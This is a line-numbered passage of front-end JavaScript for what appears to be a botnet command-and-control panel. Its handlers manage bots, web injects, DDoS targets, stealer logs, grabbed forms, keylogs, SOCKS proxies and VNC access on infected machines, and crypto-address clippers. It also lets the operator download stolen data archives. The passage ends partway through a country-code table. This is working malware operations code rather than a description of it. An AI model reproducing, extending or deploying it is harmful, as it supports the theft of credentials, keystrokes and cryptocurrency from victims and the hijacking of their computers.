  747. '<td>' + j.jindex + '</td>'+
  748. '<td>' + j.jtype + '</td>'+
  749. '<td><input class="uk-input uk-form-small uk-form-blank" value="'+ j.description +'" readonly></td>'+
  750. '<td><input class="uk-input uk-form-small uk-form-blank" value="'+ j.raw_target_url +'" readonly></td>'+
  751. '<td>' + j.addedon + '</td>'+
  752. '<td>'+
  753. '<ul class="uk-iconnav">'+
  754. '<li><a class="ebtn tr_ldr" data-f-cmd="webinj_del" data-f-query="jindex='+ j.jindex + '" data-f-confirm="Are you sure you want to delete&#63;" uk-icon="icon: trash"></a></li>'+
  755. '<li><a class="ebtn tr_ldr" data-f-cmd="webinj_get" data-f-query="jindex='+ j.jindex + '" data-f-jindex="'+ j.jindex + '" uk-icon="icon: cloud-download"></a></li>'+
  756. '</ul>'+
  757. '</td>'+
  758. '</tr>';
  759. }else if(cmd == 'ddos_enum'){
  760. r = '<tr>'+
  761. '<td>' + j.dindex + '</td>'+
  762. '<td>'+ j.host +'</td>'+
  763. '<td>'+ j.method +'</td>'+
  764. '<td>'+
  765. '<ul class="uk-iconnav">'+
  766. '<li><a class="ebtn tr_ldr" data-f-cmd="ddos_del" data-f-query="dindex='+ j.dindex + '" data-f-confirm="Are you sure you want to delete&#63;" uk-icon="icon: trash"></a></li>'+
  767. '</ul>'+
  768. '</td>'+
  769. '</tr>';
  770. }else if(cmd == 'stealer_enum'){
  771. var s = '';
  772.  
  773. $.each(col_names, function (i, x) {
  774. s += '<td><input class="uk-input uk-form-small uk-form-blank" value="'+ j[x] +'" readonly></td>';
  775. });
  776.  
  777. if(cls_name == ''){
  778. s += '<td>'+
  779. '<ul class="uk-iconnav">'+
  780. '<li><a class="ebtn tr_ldr" data-f-cmd="stealer_del" data-f-query="cindex='+ j.cindex + '" data-f-confirm="Are you sure you want to delete&#63;" uk-icon="icon: trash"></a></li>'+
  781. '<li><a class="ebtn tr_ldr" data-f-cmd="stealer_get_archive" data-f-query="cindex='+ j.cindex + '" data-f-cindex="'+ j.cindex + '" uk-icon="icon: cloud-download"></a></li>'+
  782. '<li><a class="ebtn tr_ldr" data-f-cmd="stealer_get_json" data-f-query="cindex='+ j.cindex + '" data-f-cindex="'+ j.cindex + '" uk-icon="icon: code"></a></li>'+
  783. '</ul>'+
  784. '</td>';
  785. }else{
  786. s += '<td>'+
  787. '<ul class="uk-iconnav">'+
  788. '<li><a class="ebtn tr_ldr" data-f-cmd="stealer_del" data-f-query="vindex='+ j.vindex + '&cls_name='+ cls_name +'" data-f-confirm="Are you sure you want to delete&#63;" uk-icon="icon: trash"></a></li>'+
  789. '<li><a class="ebtn tr_ldr" data-f-cmd="stealer_get_archive" data-f-query="cindex='+ j.cindex + '" data-f-cindex="'+ j.cindex + '" uk-icon="icon: cloud-download"></a></li>'+
  790. '</ul>'+
  791. '</td>';
  792. }
  793. r = '<tr>'+ s + '</tr>';
  794.  
  795. }else if(cmd == 'scripts_enum'){
  796.  
  797. r = '<tr>'+
  798. '<td>' + j.xindex + '</td>'+
  799. '<td>' + j.bindex + '</td>'+
  800. '<td>' + j.tindex + '</td>'+
  801. '<td>' + j.addedon + '</td>'+
  802. '<td>'+
  803. '<ul class="uk-iconnav">'+
  804. '<li><a class="ebtn tr_ldr" data-f-cmd="scripts_del" data-f-query="xindex='+ j.xindex + '" data-f-confirm="Are you sure you want to delete&#63;" uk-icon="icon: trash"></a></li>'+
  805. '<li><a class="ebtn tr_ldr" data-f-cmd="scripts_get" data-f-query="xindex='+ j.xindex + '" data-f-xindex="'+ j.xindex + '" uk-icon="icon: cloud-download"></a></li>'+
  806. '</ul>'+
  807. '</td>'+
  808. '</tr>';
  809. }else if(cmd == 'files_enum'){
  810.  
  811. r = '<tr>'+
  812. '<td>' + j.cindex + '</td>'+
  813. '<td>' + j.bindex + '</td>'+
  814. '<td>' + j.tindex + '</td>'+
  815. '<td>' + j.size + '</td>'+
  816. '<td>' + j.addedon + '</td>'+
  817. '<td>'+
  818. '<ul class="uk-iconnav">'+
  819. '<li><a class="ebtn tr_ldr" data-f-cmd="files_del" data-f-query="cindex='+ j.cindex + '" data-f-confirm="Are you sure you want to delete&#63;" uk-icon="icon: trash"></a></li>'+
  820. '<li><a class="ebtn tr_ldr" data-f-cmd="files_get_archive" data-f-query="cindex='+ j.cindex + '" data-f-cindex="'+ j.cindex + '" uk-icon="icon: cloud-download"></a></li>'+
  821. '</ul>'+
  822. '</td>'+
  823. '</tr>';
  824. }else if(cmd == 'socks_enum'){
  825. r = '<tr>'+
  826. '<td>' + j.bindex + '</td>'+
  827. '<td>' + j.ip + '</td>'+
  828. '<td>' + countries[j.countrycode.toUpperCase()] + '</td>'+
  829. '<td>' + j.socks_bot_port + '</td>'+
  830. '<td>' + j.socks_ip + ':' + j.socks_client_port + '</td>'+
  831. '<td>' + j.lastseen + '</td>'+
  832. '<td>'+
  833. '<ul class="uk-iconnav">'+
  834. '<li><a class="ebtn" cboard_copy="sockserver.py --botid='+ j.bindex +' --socksip='+ j.socks_ip +' --socksport='+ j.socks_client_port +' --botport='+ j.socks_bot_port +'" uk-icon="icon: move"></a></li>'+
  835. '<li><a class="ebtn tr_ldr" data-f-cmd="socks_del" data-f-query="bindex='+ j.bindex +'" data-f-confirm="Are you sure you want to delete&#63;" uk-icon="icon: trash"></a></li>'+
  836. '</ul>'+
  837. '</td>'+
  838. '</tr>';
  839. }else if(cmd == 'vnc_enum'){
  840. r = '<tr>'+
  841. '<td>' + j.bindex + '</td>'+
  842. '<td>' + j.vncip + '</td>'+
  843. '<td>' + j.vncport + '</td>'+
  844. '<td>' + j.lastseen + '</td>'+
  845. '<td>'+
  846. '<ul class="uk-iconnav">'+
  847. '<li><a class="ebtn tr_ldr" data-f-cmd="vnc_del" data-f-query="bindex='+ j.bindex +'" data-f-confirm="Are you sure you want to delete&#63;" uk-icon="icon: trash"></a></li>'+
  848. '</ul>'+
  849. '</td>'+
  850. '</tr>';
  851. }else if(cmd == 'forms_enum'){
  852. r = '<tr>'+
  853. '<td>' + j.findex + '</td>'+
  854. '<td><input class="uk-input uk-form-small uk-form-blank" value="'+ j.url +'" readonly></td>'+
  855. '<td><span class="uk-icon uk-icon-image browser_'+ j.browsername +'" readonly></span></td>'+
  856. '<td>' + j.bindex + '</td>'+
  857. '<td>' + j.addedon + '</td>'+
  858. '<td>'+
  859. '<ul class="uk-iconnav">'+
  860. '<li><a class="ebtn tr_ldr" data-f-cmd="forms_del" data-f-query="findex='+ j.findex + '" data-f-confirm="Are you sure you want to delete&#63;" uk-icon="icon: trash"></a></li>'+
  861. '<li><a class="ebtn tr_ldr" data-f-cmd="forms_get" data-f-query="findex='+ j.findex + '" data-f-findex="'+ j.findex + '" data-f-form-cmd="dl" uk-icon="icon: cloud-download"></a></li>'+
  862. '<li><a class="ebtn tr_ldr" data-f-cmd="forms_get" data-f-query="findex='+ j.findex + '" data-f-findex="'+ j.findex + '" data-f-form-cmd="view" uk-icon="icon: git-branch"></a></li>'+
  863. '</ul>'+
  864. '</td>'+
  865. '</tr>';
  866. }else if(cmd == 'forms_blacklist_enum'){
  867. r = '<tr>'+
  868. '<td>' + j.pindex + '</td>'+
  869. '<td><input class="uk-input uk-form-small uk-form-blank" value="'+ j.url +'" readonly></td>'+
  870. '<td>'+
  871. '<ul class="uk-iconnav">'+
  872. '<li><a class="ebtn tr_ldr" data-f-cmd="forms_blacklist_del" data-f-query="pindex='+ j.pindex + '" data-f-confirm="Are you sure you want to delete&#63;" uk-icon="icon: trash"></a></li>'+
  873. '</ul>'+
  874. '</td>'+
  875. '</tr>';
  876. }else if(cmd == 'forms_whitelist_enum'){
  877. r = '<tr>'+
  878. '<td>' + j.pindex + '</td>'+
  879. '<td><input class="uk-input uk-form-small uk-form-blank" value="'+ j.url +'" readonly></td>'+
  880. '<td>'+
  881. '<ul class="uk-iconnav">'+
  882. '<li><a class="ebtn tr_ldr" data-f-cmd="forms_whitelist_del" data-f-query="pindex='+ j.pindex + '" data-f-confirm="Are you sure you want to delete&#63;" uk-icon="icon: trash"></a></li>'+
  883. '</ul>'+
  884. '</td>'+
  885. '</tr>';
  886. }else if(cmd == 'forms_keyword_enum'){
  887. r = '<tr>'+
  888. '<td>' + j.pindex + '</td>'+
  889. '<td><input class="uk-input uk-form-small uk-form-blank" value="'+ j.keyword +'" readonly></td>'+
  890. '<td>'+
  891. '<ul class="uk-iconnav">'+
  892. '<li><a class="ebtn tr_ldr" data-f-cmd="forms_keyword_del" data-f-query="pindex='+ j.pindex + '" data-f-confirm="Are you sure you want to delete&#63;" uk-icon="icon: trash"></a></li>'+
  893. '</ul>'+
  894. '</td>'+
  895. '</tr>';
  896. }else if(cmd == 'clippers_enum'){
  897. r = '<tr>'+
  898. '<td>' + j.rindex + '</td>'+
  899. '<td>'+ j.coin_id + '</td>'+
  900. '<td><input class="uk-input uk-form-small uk-form-blank" value="'+ j.addr +'" readonly></td>'+
  901. '<td>'+
  902. '<ul class="uk-iconnav">'+
  903. '<li><a class="ebtn tr_ldr" data-f-cmd="clippers_del" data-f-query="rindex='+ j.rindex + '" data-f-confirm="Are you sure you want to delete&#63;" uk-icon="icon: trash"></a></li>'+
  904. '</ul>'+
  905. '</td>'+
  906. '</tr>';
  907. }
  908.  
  909. var tr = $(r).attr('data-f-query', JSON.stringify(j));
  910. body.append(tr);
  911. nrows++;
  912. });
  913.  
  914. //if empty rows, then display message of no items found
  915. if(nrows == 0) body.append('<tr><td colspan="' + (tb.find('thead').first().find('tr').first().children().length) + '">No items found</td></tr>');
  916.  
  917. //pagination
  918. var ul = tb.find('tfoot').first().find('ul.uk-pagination').first();
  919. ul.empty();
  920. create_pagination(ul, jsn.data.hdr.prev_page, jsn.data.hdr.page_count, $.param(jsn.data.hdr), cmd, tb_locator);
  921.  
  922. //if it is a search then display how long query took to finished
  923. s = $('#query_secs');
  924. if(not_zero_str(jsn.data.hdr.is_search)) {
  925. s.text('About ' + jsn.data.hdr.total + ' results (' + jsn.data.hdr.query_secs + ' seconds)');
  926. s.removeAttr('hidden');
  927. }else{
  928. s.prop('hidden',true);
  929. }
  930.  
  931. //update states
  932. if(cmd == 'bots_enum'){
  933. $('#bots_total').text(jsn.data.extra.total);
  934. $('#bots_alive').text(jsn.data.extra.alive);
  935. }
  936.  
  937. }else{
  938. if( (cmd == 'tasks_add') ||
  939. (cmd == 'socks_add') ||
  940. (cmd == 'vnc_add') ||
  941. (cmd == 'forms_blacklist_add') ||
  942. (cmd == 'forms_whitelist_add') ||
  943. (cmd == 'forms_keyword_add') ||
  944. (cmd == 'clippers_add') ||
  945. (cmd == 'users_add')
  946. ){
  947. if ((cmd == 'socks_add') || (cmd == 'vnc_add')){
  948. if(cmd == 'socks_add'){
  949. var el_x = $('#tb_bots').find('a[data-f-cmd="socks-add"][data-f-bindex="'+ el.attr('data-f-bindex') +'"]');
  950. el_x.replaceWith('<a class="ebtn red-icon" data-f-cmd="socks_del" data-f-query="bindex='+ el_x.attr('data-f-bindex') +'" data-f-bindex="'+ el_x.attr('data-f-bindex') + '" data-f-confirm="Disable socks&#63;" uk-icon="icon: location"></a>');
  951. }
  952. else if(cmd == 'vnc_add'){
  953. var el_x = $('#tb_bots').find('a[data-f-cmd="vnc-add"][data-f-bindex="'+ el.attr('data-f-bindex') +'"]');
  954. el_x.replaceWith('<a class="ebtn red-icon" data-f-cmd="vnc_del" data-f-query="bindex='+ el_x.attr('data-f-bindex') +'" data-f-bindex="'+ el_x.attr('data-f-bindex') + '" data-f-confirm="Disable vnc&#63;" uk-icon="icon: desktop"></a>');
  955. }
  956. }else{
  957. //nothing
  958. }
  959. }
  960. else if ((cmd == 'bots_del') ||
  961. (cmd == 'forms_del') ||
  962. (cmd == 'tasks_del')||
  963. (cmd == 'stealer_del') ||
  964. (cmd == 'files_del') ||
  965. (cmd == 'socks_del') ||
  966. (cmd == 'scripts_del') ||
  967. (cmd == 'vnc_del') ||
  968. (cmd == 'ddos_del') ||
  969. (cmd == 'forms_blacklist_del') ||
  970. (cmd == 'forms_whitelist_del') ||
  971. (cmd == 'users_del') ||
  972. (cmd == 'clippers_del') ||
  973. (cmd == 'forms_keyword_del') ||
  974. (cmd == 'webinj_del')
  975. ){
  976. if (((cmd == 'socks_del') || (cmd == 'vnc_del')) && (el.closest('table').attr('id') == 'tb_bots')){
  977. if(cmd == 'socks_del'){
  978. el.replaceWith('<a class="create-modal" data-f-cmd="socks-add" data-f-bindex="'+ el.attr('data-f-bindex') +'" uk-icon="icon: location"></a>');
  979. }
  980. else if(cmd == 'vnc_del'){
  981. el.replaceWith('<a class="create-modal" data-f-cmd="vnc-add" data-f-bindex="'+ el.attr('data-f-bindex') +'" uk-icon="icon: desktop"></a>');
  982. }
  983. }else{
  984. var tb = el.closest('table');
  985. var tbody = el.closest('tbody');
  986.  
  987. el.closest('tr').remove();
  988. if(tbody.find('tr').length == 0){
  989. tbody.append('<tr><td colspan="' + (tb.find('thead').first().find('tr').first().children().length) + '">No items found</td></tr>');
  990. }
  991. tb.find('tfoot').first().find('ul.uk-pagination').first().empty();
  992. }
  993. }
  994.  
  995. //TASKS
  996. else if(cmd == 'tasks_edit'){
  997. }
  998. else if(cmd == 'tasks_del_private_all'){
  999. }
  1000.  
  1001. //ACCOUNTS
  1002. else if(cmd == 'users_update'){
  1003. }
  1004. else if(cmd == 'users_toggle_state'){
  1005. el.attr('uk-icon', 'icon: ' + (not_zero_str(jsn.data.prev_state) ? 'play-circle' : 'ban'));
  1006. var lb = el.closest('tr').find('.status-label').first();
  1007. if(jsn.data.prev_state){
  1008. lb.removeClass('uk-label-success');
  1009. lb.addClass('uk-label-danger');
  1010. lb.text('Disabled');
  1011. el.attr('data-f-confirm', 'Are you sure you want to Enable this user&#63;');
  1012. }
  1013. else{
  1014. lb.removeClass('uk-label-danger');
  1015. lb.addClass('uk-label-success');
  1016. lb.text('Enabled');
  1017. el.attr('data-f-confirm', 'Are you sure you want to Disable this user&#63;');
  1018. }
  1019. }
  1020. else if(cmd == 'create_sec_image'){
  1021. $(el.attr('data-f-image')).attr('src',jsn.data);
  1022. }
  1023. else if(cmd == 'users_signin'){
  1024. window.location.replace("index.php");
  1025. }
  1026. else if(cmd == 'users_signout'){
  1027. //$('#users-sec-image-refresh').click();
  1028. window.location.replace("index.php");
  1029. }
  1030.  
  1031. //FORM GRABBER
  1032. else if(cmd == 'forms_get'){
  1033. var act = el.attr('data-f-form-cmd');
  1034. var bin = base64_to_bin(jsn.data);
  1035. if(act == 'view'){
  1036. var findex = el.attr('data-f-findex');
  1037. var frm = $('#ev-forms-get');
  1038. var iframe = frm.find('#forms-iframe');
  1039. var dlbtn = frm.find('.dl-btn').first();
  1040.  
  1041. dlbtn.attr('data-f-findex', findex);
  1042. dlbtn.attr('data-f-query', 'findex='+findex);
  1043.  
  1044. iframe.attr('src', window.URL.createObjectURL(new Blob([bin], { type: 'text/plain;charset=UTF-8'})));
  1045.  
  1046. create_modal_handler(el,frm,'forms-get');
  1047. }
  1048. else if(act == 'dl'){
  1049. trigger_dl('form-' + el.attr('data-f-findex') + '.txt', bin, true);
  1050. }
  1051. }
  1052. else if((cmd =='forms_del_all') ||
  1053. (cmd == 'forms_blacklist_del_all') ||
  1054. (cmd == 'forms_whitelist_del_all') ||
  1055. (cmd == 'tasks_del_all')||
  1056. (cmd == 'stealer_del_all') ||
  1057. (cmd == 'files_del_all') ||
  1058. (cmd == 'socks_del_all') ||
  1059. (cmd == 'ddos_del_all') ||
  1060. (cmd == 'clippers_del_all') ||
  1061. (cmd == 'vnc_del_all') ||
  1062. (cmd == 'forms_keyword_del_all')||
  1063. (cmd == 'webinj_del_all')
  1064. ){
  1065. var tb = $(el.attr('data-f-target-tb'));
  1066. var tbody = tb.find('tbody').first();
  1067.  
  1068. tbody.find('tr').remove();
  1069. tbody.append('<tr><td colspan="' + (tb.find('thead').first().find('tr').first().children().length) + '">No items found</td></tr>');
  1070. tb.find('tfoot').first().find('ul.uk-pagination').first().empty();
  1071. }
  1072. else if(cmd =='forms_keyword_exec'){
  1073. //nothing
  1074. }
  1075.  
  1076. //stealer
  1077. else if(cmd == 'stealer_get_json'){
  1078.  
  1079. var cindex = el.attr('data-f-cindex');
  1080. var frm = $('#ev-stealer-json-viewer');
  1081. var iframe = frm.find('#stealer-json-iframe');
  1082. var dlbtn = frm.find('.dl-btn').first();
  1083.  
  1084. dlbtn.attr('data-f-cindex', cindex);
  1085. dlbtn.attr('data-f-query', 'cindex='+cindex);
  1086.  
  1087. stealer_json_content.jsn = jsn.data;
  1088.  
  1089. $('#stealer-content-renderer').jsonBrowse(jsn.data,{
  1090. collapsed: true
  1091. });
  1092. create_modal_handler(el,frm,'stealer-json-viewer');
  1093. }
  1094. else if(cmd == 'stealer_get_archive'){
  1095. var bin = base64_to_bin(jsn.data);
  1096. trigger_dl('stealer-' + el.attr('data-f-cindex') + '.zip', bin,true);
  1097. }
  1098.  
  1099.  
  1100. //SCRIPTS
  1101. else if(cmd == 'scripts_get'){
  1102. var bin = base64_to_bin(jsn.data);
  1103. trigger_dl('script-report-' + el.attr('data-f-xindex') + '.txt', bin,true);
  1104. }
  1105.  
  1106.  
  1107. //KLOGS
  1108. else if(cmd == 'klog_get_json'){
  1109. var bindex = el.attr('data-f-bindex');
  1110. var frm = $('#ev-klog-json-viewer');
  1111. var dlbtn = frm.find('.dl-btn').first();
  1112.  
  1113. dlbtn.attr('data-f-bindex', bindex);
  1114. dlbtn.attr('data-f-query', 'bindex='+bindex);
  1115.  
  1116. var s = frm.find('a[data-f-cmd="klog_set_status"]');
  1117. s.attr('data-f-query', 'status=0&bindex='+ el.attr('data-f-bindex'));
  1118. s.attr('data-f-bindex', el.attr('data-f-bindex'));
  1119.  
  1120. $('#klog-content-renderer').jsonBrowse(jsn.data,{
  1121. collapsed: true
  1122. });
  1123.  
  1124. create_modal_handler(el,frm,'klog-json-viewer');
  1125. }
  1126. else if(cmd == 'klog_get_archive'){
  1127. var bin = base64_to_bin(jsn.data);
  1128. trigger_dl('klog-' + el.attr('data-f-bindex') + '.json', bin,true);
  1129. }
  1130. else if(cmd == 'klog_set_status'){
  1131.  
  1132. if(el.attr('data-f-status')=='1'){
  1133. }else{
  1134. }
  1135. }
  1136.  
  1137. //WEBINJECT
  1138. else if(cmd == 'webinj_get'){
  1139. trigger_dl('inject-' + el.attr('data-f-jindex') + '.txt', jsn.data, false);
  1140. }
  1141.  
  1142. //FILES
  1143. else if(cmd == 'files_get_archive'){
  1144. var bin = base64_to_bin(jsn.data);
  1145. trigger_dl('files-' + el.attr('data-f-cindex') + '.zip', bin,true);
  1146. }
  1147. }
  1148.  
  1149. if(mdl_close_btn) mdl_close_btn.click();
  1150. }
  1151. function openFileHelper(newWindow, file) {
  1152. let blob = new Blob([file._data], {type: "${file._data.type}"});
  1153. newWindow.location = URL.createObjectURL(blob);
  1154. }
  1155. function query_failure(cmd, msg, el,auth,parsed_without_error){
  1156. if( (cmd == 'bots_enum') ||
  1157. (cmd == 'tasks_enum') ||
  1158. (cmd == 'forms_enum') ||
  1159. (cmd == 'users_enum') ||
  1160. (cmd == 'webinj_enum') ||
  1161. (cmd == 'stealer_enum') ||
  1162. (cmd == 'scripts_enum') ||
  1163. (cmd == 'files_enum') ||
  1164. (cmd == 'socks_enum') ||
  1165. (cmd == 'vnc_enum') ||
  1166. (cmd == 'ddos_enum') ||
  1167. (cmd == 'clippers_enum') ||
  1168. (cmd == 'forms_blacklist_enum') ||
  1169. (cmd == 'forms_whitelist_enum') ||
  1170. (cmd == 'forms_keyword_enum')
  1171. ){
  1172. var tb = $(el.attr('data-f-target-tb'));
  1173. tb.find('tbody').first().empty();
  1174. tb.find('tfoot').first().find('ul.uk-pagination').first().empty();
  1175. }
  1176. else if((cmd == 'tasks_add') ||
  1177. (cmd == 'forms_blacklist_add') ||
  1178. (cmd == 'forms_whitelist_add') ||
  1179. (cmd == 'socks_add') ||
  1180. (cmd == 'vnc_add') ||
  1181. (cmd == 'add_enum') ||
  1182. (cmd == 'forms_keyword_add') ||
  1183. (cmd == 'users_add')
  1184. ){
  1185. //nothing
  1186. }
  1187. else if((cmd == 'bots_del') ||
  1188. (cmd == 'forms_del') ||
  1189. (cmd == 'tasks_del') ||
  1190. (cmd == 'stealer_del') ||
  1191. (cmd == 'socks_del') ||
  1192. (cmd == 'ddos_del') ||
  1193. (cmd == 'scripts_del') ||
  1194. (cmd == 'files_del') ||
  1195. (cmd == 'vnc_del') ||
  1196. (cmd == 'clippers_del') ||
  1197. (cmd == 'forms_blacklist_del') ||
  1198. (cmd == 'forms_whitelist_del') ||
  1199. (cmd == 'users_del') ||
  1200. (cmd == 'forms_keyword_del') ||
  1201. (cmd == 'webinj_del')
  1202. ){
  1203. //nothing
  1204. }
  1205. else if((cmd =='forms_del_all') ||
  1206. (cmd == 'forms_blacklist_del_all') ||
  1207. (cmd == 'forms_whitelist_del_all') ||
  1208. (cmd == 'tasks_del_all') ||
  1209. (cmd == 'stealer_del_all') ||
  1210. (cmd == 'scripts_del_all') ||
  1211. (cmd == 'files_del_all') ||
  1212. (cmd == 'socks_del_all') ||
  1213. (cmd == 'ddos_del_all') ||
  1214. (cmd == 'clippers_del_all') ||
  1215. (cmd == 'vnc_del_all') ||
  1216. (cmd == 'forms_keyword_del_all') ||
  1217. (cmd == 'webinj_del_all')
  1218. ){
  1219. //nothing
  1220. }
  1221. else if(cmd == 'tasks_edit'){
  1222. }
  1223. else if(cmd == 'tasks_del_private_all'){
  1224. }
  1225. else if(cmd == 'users_update'){
  1226. }
  1227. else if(cmd == 'users_toggle_state'){
  1228. }
  1229. else if(cmd == 'create_sec_image'){
  1230. $(el.attr('data-f-image')).attr('src','#');
  1231. }
  1232. else if(cmd == 'users_signin'){
  1233. $('#users-sec-image-refresh').click();
  1234. }
  1235. else if(cmd == 'users_signout'){
  1236. $('#users-sec-image-refresh').click();
  1237. }
  1238. else if(cmd == 'forms_get'){
  1239. var act = el.attr('data-f-form-cmd');
  1240. if(act == 'view'){
  1241. $('#forms-iframe').attr('src','about:blank');
  1242. }else if(act == 'dl'){
  1243. }
  1244. }
  1245. else if(cmd =='forms_keyword_exec'){
  1246. //nothing
  1247. }
  1248. else if(cmd == 'webinj_get'){
  1249. }
  1250. else if(cmd == 'stealer_get_json'){
  1251. }
  1252. else if(cmd == 'stealer_get_archive'){
  1253. }
  1254. else if(cmd == 'scripts_get'){
  1255. }
  1256. else if(cmd == 'klog_get_json'){
  1257. }
  1258. else if(cmd == 'klog_get_archive'){
  1259. }
  1260. else if(cmd == 'klog_set_status'){
  1261. }
  1262.  
  1263. notice(msg, false, el.attr('data-f-alert-box'));
  1264.  
  1265. var s = el.attr('data-f-view-on-failure')
  1266. if(typeof s !== "undefined"){
  1267. $(s).removeAttr('hidden');
  1268. $(s).siblings('.exclusive-show').prop('hidden',true);
  1269. }else{
  1270. if(!auth && parsed_without_error){
  1271. if((cmd != 'create_sec_image') && (cmd != 'users_signin') && (cmd != 'users_add') && (cmd != 'users_signout')) window.location.replace("index.php");
  1272. }
  1273. }
  1274. }
  1275.  
  1276. function create_modal(el,overflow,close_others,close_btn,title,body,close_btn_text,ok_btn_text){
  1277. if(close_others) $('.data-modal').remove();
  1278.  
  1279. var m = $( '<div class="data-modal" uk-modal bg-close="false">'+
  1280. '<div class="uk-modal-dialog">'+
  1281. (close_btn ? '<button class="uk-modal-close-default " type="button" uk-close></button>' : '' )+
  1282. '<div class="uk-modal-header">'+
  1283. '<p class="uk-text-uppercase uk-text-bold">'+ title +'</p>'+
  1284. '</div>'+
  1285. '<div class="uk-modal-body" '+ (overflow ? 'uk-overflow-auto' : '') +'></div>'+
  1286. '<div class="uk-modal-footer uk-text-right">'+
  1287. ( close_btn_text ? '<button class="uk-button ' + ( ok_btn_text ? 'uk-button-default' : 'uk-button-primary' ) + ' uk-modal-close" type="button">'+ close_btn_text +'</button>' : '')+
  1288. ( ok_btn_text ? '<button class="uk-button uk-button-primary" type="button">'+ ok_btn_text +'</button>' : '' )+
  1289. '</div>'+
  1290. '</div>'+
  1291. '</div>');
  1292.  
  1293. m.find('.uk-modal-body').first().append(body);
  1294. return UIkit.modal(m).show();
  1295. }
  1296.  
  1297. function create_form_modal(el,width,overflow,close_others,close_btn,title,frm){
  1298. if(close_others) $('.data-modal').remove();
  1299.  
  1300. var sz = {'small':'', 'medium':'uk-modal-container', 'full':'uk-modal-full'}[width];
  1301.  
  1302. var m = $( '<div class="data-modal ' + sz + '" uk-modal bg-close="false">'+
  1303. '<div class="uk-modal-dialog">'+
  1304. (close_btn ? '<button class="uk-modal-close-full" type="button" uk-close></button>' : '' )+
  1305. '<div class="uk-modal-header">'+
  1306. '<p class="uk-text-uppercase uk-text-bold">'+ title +'</p>'+
  1307. '</div>'+
  1308. '<div class="uk-modal-body" ' + (overflow ? 'uk-overflow-auto' : '') +'></div>'+
  1309. '</div>'+
  1310. '</div>');
  1311.  
  1312. m.find('.uk-modal-body').first().append(frm);
  1313.  
  1314. return UIkit.modal(m).show();
  1315. }
  1316.  
  1317. function not_zero_str(s){
  1318. //to deal with js x64 integer problem
  1319. if(s.length == 0 || s == '0' || s == 0) return false
  1320. return true;
  1321. }
  1322.  
  1323. function get_country(s){
  1324. if(!s) s = 'ZZ';
  1325. return countries[s];
  1326. }
  1327.  
  1328. function trigger_dl(fname, data, is_blob){
  1329. var a = $('<a></a>')[0];
  1330. a.download = fname;
  1331. if(is_blob){
  1332. a.href = window.URL.createObjectURL(data);
  1333. }else {
  1334. a.href = window.URL.createObjectURL(new Blob([data], { type: 'application/octet-stream'}));
  1335. }
  1336. a.click();
  1337. }
  1338.  
  1339. function base64_to_bin(data64) {
  1340. var cbytes = atob(data64);
  1341. var ibytes = cbytes.length;
  1342. var islices = Math.ceil(ibytes / 1024);
  1343. var byte_arrays = new Array(islices);
  1344.  
  1345. for (let index = 0; index < islices; ++index) {
  1346. var begin = index * 1024;
  1347. var end = Math.min(begin + 1024, ibytes);
  1348.  
  1349. var bytes = new Array(end - begin);
  1350. for (var offset = begin, i = 0; offset < end; ++i, ++offset) {
  1351. bytes[i] = cbytes[offset].charCodeAt(0);
  1352. }
  1353. byte_arrays[index] = new Uint8Array(bytes);
  1354. }
  1355. return new Blob(byte_arrays, { type: 'application/octet-stream' });
  1356. }
  1357.  
  1358. function play_alarm(name){
  1359. var el = $('#alarm_' + name);
  1360. if(el.length) el[0].play();
  1361. }
  1362.  
  1363. function copy_text_to_clipboard(data){
  1364. var temp = $("<input>");
  1365. $("body").append(temp);
  1366. temp.val(data).focus().select();
  1367. document.execCommand("copy");
  1368. temp.remove();
  1369. }
  1370.  
  1371. var countries = {
  1372. 'AD':'Andorra', 'AE':'United Arab Emirates', 'AF':'Afghanistan', 'AG':'Antigua and Barbuda', 'AI':'Anguilla', 'AL':'Albania', 'AM':'Armenia', 'AO':'Angola', 'AP':'Non-spec Asia Pas Location', 'AQ':'Antarctica', 'AR':'Argentina', 'AS':'American Samoa', 'AT':'Austria', 'AU':'Australia', 'AW':'Aruba', 'AX':'Aland Islands', 'AZ':'Azerbaijan' ,
  1373. 'BA':'Bosnia and Herzegowina', 'BB':'Barbados', 'BD':'Bangladesh', 'BE':'Belgium', 'BF':'Burkina Faso', 'BG':'Bulgaria', 'BH':'Bahrain', 'BI':'Burundi', 'BJ':'Benin', 'BM':'Bermuda', 'BN':'Brunei Darussalam', 'BO':'Bolivia', 'BQ':'Bonaire; Sint Eustatius; Saba', 'BR':'Brazil', 'BS':'Bahamas', 'BT':'Bhutan', 'BW':'Botswana', 'BY':'Belarus', 'BZ':'Belize',
  1374. 'CA':'Canada', 'CD':'Congo The Democratic Republic of The', 'CF':'Central African Republic', 'CG':'Congo', 'CH':'Switzerland', 'CI':'Cote D\'ivoire', 'CK':'Cook Islands', 'CL':'Chile', 'CM':'Cameroon', 'CN':'China', 'CO':'Colombia', 'CR':'Costa Rica', 'CU':'Cuba', 'CV':'Cape Verde', 'CW':'Curacao', 'CY':'Cyprus', 'CZ':'Czech Republic',
  1375. 'DE':'Germany', 'DJ':'Djibouti','DK':'Denmark', 'DM':'Dominica', 'DO':'Dominican Republic', 'DZ':'Algeria',
  1376. 'EC':'Ecuador', 'EE':'Estonia', 'EG':'Egypt', 'ER':'Eritrea', 'ES':'Spain', 'ET':'Ethiopia', 'EU':'European Union',
  1377. 'FI':'Finland', 'FJ':'Fiji', 'FK':'Falkland Islands (MALVINAS)', 'FM':'Micronesia Federated States of', 'FO':'Faroe Islands', 'FR':'France',
  1378. 'GA':'Gabon', 'GB':'United Kingdom', 'GD':'Grenada', 'GE':'Georgia', 'GF':'French Guiana', 'GG':'Guernsey', 'GH':'Ghana', 'GI':'Gibraltar', 'GL':'Greenland', 'GM':'Gambia', 'GN':'Guinea', 'GP':'Guadeloupe', 'GQ':'Equatorial Guinea', 'GR':'Greece', 'GT':'Guatemala', 'GU':'Guam', 'GW':'Guinea-bissau', 'GY':'Guyana',
  1379. 'HK':'Hong Kong', 'HN':'Honduras', 'HR':'Croatia (LOCAL Name: Hrvatska)', 'HT':'Haiti', 'HU':'Hungary',
  1380. 'ID':'Indonesia', 'IE':'Ireland', 'IL':'Israel', 'IM':'Isle of Man', 'IN':'India', 'IO':'British Indian Ocean Territory', 'IQ':'Iraq', 'IR':'Iran (ISLAMIC Republic Of)', 'IS':'Iceland', 'IT':'Italy',
  1381. 'JE':'Jersey', 'JM':'Jamaica', 'JO':'Jordan', 'JP':'Japan',
